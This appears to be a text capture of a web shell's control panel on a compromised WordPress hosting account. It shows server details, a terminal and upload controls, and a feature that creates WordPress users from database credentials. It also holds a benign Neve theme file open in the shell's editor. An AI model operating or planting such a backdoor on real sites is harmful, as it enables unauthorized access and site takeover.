Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.216.193
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
infrops.pl
/
wp-content
/
themes
/
neve
/
inc
/
customizer
/
defaults
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
layout.php
2.49 KB
-rw-r--r--
2024-04-02 19:03
single_post.php
5.93 KB
-rw-r--r--
2024-04-02 19:03
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
layout.php
<?php /** * Default settings traits, shared with other classes. * * @package Neve\Customizer\Defaults */ namespace Neve\Customizer\Defaults; /** * Trait Layout * * @package Neve\Customizer\Defaults */ trait Layout { /** * Get the sidebar layout alignment * * @param string $control_id the control id. * * @return string */ private function sidebar_layout_alignment_default( $control_id ) { $full_width = [ 'neve_blog_archive_sidebar_layout', 'neve_other_pages_sidebar_layout', 'neve_single_product_sidebar_layout', ]; $full_width = apply_filters( 'neve_sidebar_layout_alignment_defaults', $full_width ); if ( in_array( $control_id, $full_width, true ) ) { return 'full-width'; } return 'right'; } /** * Get the sidebar layout width. * * @param string $control_id the control id. * * @return int */ private function sidebar_layout_width_default( $control_id ) { $full_width = [ 'neve_blog_archive_content_width', 'neve_other_pages_content_width', 'neve_single_product_content_width', ]; $full_width = apply_filters( 'neve_sidebar_full_width_defaults', $full_width ); if ( in_array( $control_id, $full_width, true ) ) { return 100; } // 70 is default on both new & old. return 70; } /** * Get grid colum default. * * @return string */ private function grid_columns_default() { return '{"desktop":3,"tablet":2,"mobile":1}'; } /** * Check if the shop sidebar is off-canvas. * * @return bool */ private function shop_sidebar_is_off_canvas() { if ( ! is_active_sidebar( 'shop-sidebar' ) ) { return false; } $body_classes = apply_filters( 'body_class', [], [] ); // @see https://developer.wordpress.org/reference/hooks/body_class/ return is_array( $body_classes ) && in_array( 'neve-off-canvas', $body_classes ); } /** * Get meta default data * * @deprecated 3.4.5 Use neve_get_default_meta_value( $field, $default ) instead. * * @return array */ public static function get_meta_default_data( $field, $default ) { return neve_get_default_meta_value( $field, $default ); } /** * Get default values for content vertical spacing. * * @return array */ public function content_vspacing_default() { return [ 'mobile' => [ 'top' => 0, 'bottom' => 0, ], 'tablet' => [ 'top' => 0, 'bottom' => 0, ], 'desktop' => [ 'top' => 0, 'bottom' => 0, ], 'mobile-unit' => 'px', 'tablet-unit' => 'px', 'desktop-unit' => 'px', ]; } }
关闭
保存